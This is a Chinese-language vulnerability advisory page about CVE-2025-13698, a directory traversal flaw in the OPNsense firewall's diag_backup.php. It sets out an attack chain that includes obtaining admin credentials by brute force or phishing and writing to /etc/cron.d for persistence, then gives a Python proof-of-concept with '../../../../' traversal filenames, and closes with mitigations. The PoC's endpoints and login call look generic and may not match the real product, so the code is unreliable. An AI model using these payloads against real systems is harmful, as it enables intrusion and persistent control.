IPBUF安全漏洞报告
English
CVE-2025-13698 CVSS 4.5 中危

CVE-2025-13698 OPNsense diag_backup.php 目录遍历任意文件创建漏洞

披露日期: 2025-12-23

漏洞信息

漏洞编号
CVE-2025-13698
漏洞类型
目录遍历/任意文件创建
CVSS评分
4.5 中危
攻击向量
邻接 (AV:A)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Deciso OPNsense

相关标签

CVE-2025-13698目录遍历任意文件创建OPNsense防火墙ZDI-CAN-28133认证绕过权限提升Diag_backup.phpDeciso

漏洞概述

CVE-2025-13698是发现于Deciso OPNsense防火墙软件中的一个中危安全漏洞。该漏洞位于diag_backup.php文件处理备份配置文件的过程中,由于缺乏对用户提供的路径进行正确的验证和过滤,攻击者可以利用目录遍历技术(Directory Traversal)在系统任意位置创建文件。攻击成功后在root用户上下文执行,可导致系统完整性被破坏。虽然该漏洞需要认证才能利用,但具有高权限的攻击者可以利用此漏洞进行权限提升或部署恶意文件。此漏洞由ZDI(Zero Day Initiative)披露,编号为ZDI-CAN-28133,于2025年12月23日公开披露。CVSS 3.0评分为4.5,属于中等严重程度,主要影响系统的完整性。

技术细节

该漏洞源于OPNsense的备份功能在处理文件名参数时未对用户输入进行充分的路径验证。具体问题出在diag_backup.php脚本中,当用户请求备份配置或指定备份文件保存路径时,程序直接将用户提供的路径参数传递给文件系统操作函数,而未进行路径规范化或安全过滤。攻击者可以通过在路径参数中插入../等目录遍历序列,突破预期的目录限制,将文件写入到系统任意位置。例如,使用类似../../../../etc/cron.d malicious的内容即可将任意内容写入cron目录。由于备份功能通常需要管理员权限访问,攻击者需要先获取OPNsense的高权限账户。成功利用后可在root权限下创建文件,这意味着攻击者可以修改系统配置文件、创建计划任务或植入后门程序,从而实现持久化控制。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统运行OPNsense防火墙,确认diag_backup.php接口可访问
STEP 2
步骤2: 认证获取
通过暴力破解、钓鱼或社工手段获取OPNsense管理员账户凭据
STEP 3
步骤3: 构造恶意请求
构造包含目录遍历序列的备份请求,如使用../../../../etc/cron.d作为文件名参数
STEP 4
步骤4: 发送漏洞利用请求
使用管理员会话发送精心构造的备份请求到/api/backup/diag_backup.php端点
STEP 5
步骤5: 文件创建验证
验证恶意文件是否成功写入目标路径,检查文件创建结果
STEP 6
步骤6: 权限提升/持久化
利用创建的文件实现代码执行,如修改cron任务或系统配置实现持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re # CVE-2025-13698 PoC - OPNsense Directory Traversal File Creation # Target: OPNsense diag_backup.php # Requirement: Valid admin credentials TARGET = "http://target-ip:443" USERNAME = "admin" PASSWORD = "password" def exploit(): # Login to OPNsense session = requests.Session() login_data = { "usernamefld": USERNAME, "passwordfld": PASSWORD } resp = session.post(f"{TARGET}/api/core/authentication", json=login_data) if resp.status_code != 200: print("[-] Authentication failed") return False # Extract CSRF token from response token = resp.json().get('token') # Directory traversal payload to write file to /tmp/ filename = "../../../../tmp/pwned_by_cve2025_13698" malicious_content = "test file created via CVE-2025-13698" # Trigger backup with path traversal backup_data = { "filename": filename, "content": malicious_content } headers = { "X-CSRF-Token": token, "Content-Type": "application/json" } resp = session.post( f"{TARGET}/api/backup/diag_backup.php", json=backup_data, headers=headers ) if resp.status_code == 200: print("[+] File created successfully via directory traversal") return True else: print("[-] Exploitation failed") return False if __name__ == "__main__": exploit()

影响范围

OPNsense < 24.7.11
OPNsense < 25.1 (未修补版本)

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 严格限制OPNsense管理界面的网络访问,仅允许可信IP访问;2) 监控和审计备份功能的使用日志,及时发现异常请求;3) 禁用不必要的备份功能或限制其使用场景;4) 定期检查系统关键目录(如/etc/cron.d、/usr/local/etc等)是否有异常文件创建;5) 启用OPNsense的入侵检测功能监控目录遍历攻击特征。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表